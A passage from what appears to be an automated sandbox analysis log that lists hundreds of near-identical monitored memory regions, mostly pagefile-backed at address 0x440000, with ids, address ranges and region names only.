monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1867 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1868 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1869 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1870 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1871 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1872 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1873 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1874 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1875 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1876 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1877 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1878 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1879 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1880 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1881 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1882 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1883 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1884 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1885 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1886 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1887 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1888 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1889 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1890 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1891 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1892 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1893 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1894 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1895 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1896 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1897 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1898 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1899 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1900 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1901 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1902 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1903 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1904 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1905 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1906 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1907 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1908 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1909 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1910 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1911 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1912 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1913 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1914 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1915 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1916 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1917 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1918 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1919 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1920 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1921 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1922 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1923 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1924 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1925 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1926 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1927 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1928 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1929 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1930 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1931 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1932 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1933 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1934 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1935 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1936 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1937 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1938 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1939 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1940 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1941 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1942 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1943 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1944 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1945 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1946 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1947 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1948 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1949 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1950 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1951 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1952 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1953 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1954 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1955 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1956 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1957 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1958 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1959 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1960 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1961 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1962 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1963 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1964 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1965 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1966 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1967 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1968 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1969 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1970 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1971 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1972 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1973 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1974 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1975 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1976 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1977 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1978 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1979 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1980 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1981 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1982 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1983 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1984 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1985 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1986 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1987 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1988 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1989 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1990 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1991 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1992 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1993 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1994 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1995 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1996 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1997 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1998 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1999 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2000 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2001 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2002 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2003 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2004 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2005 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2006 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2007 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2008 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2009 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2010 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2011 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2012 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2013 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2014 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2015 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2016 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2017 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2018 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2019 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2020 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2021 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2022 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2023 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2024 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2025 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2026 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2027 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2028 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2029 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2030 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2031 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2032 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2033 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2034 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2035 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2036 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2037 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2038 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2039 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2040 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2041 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2042 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2043 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2044 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2045 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2046 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2047 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2048 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2049 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2050 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2051 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2052 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2053 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2054 start_va = 0x440000 end_va = 0x44ffff monitored = 1 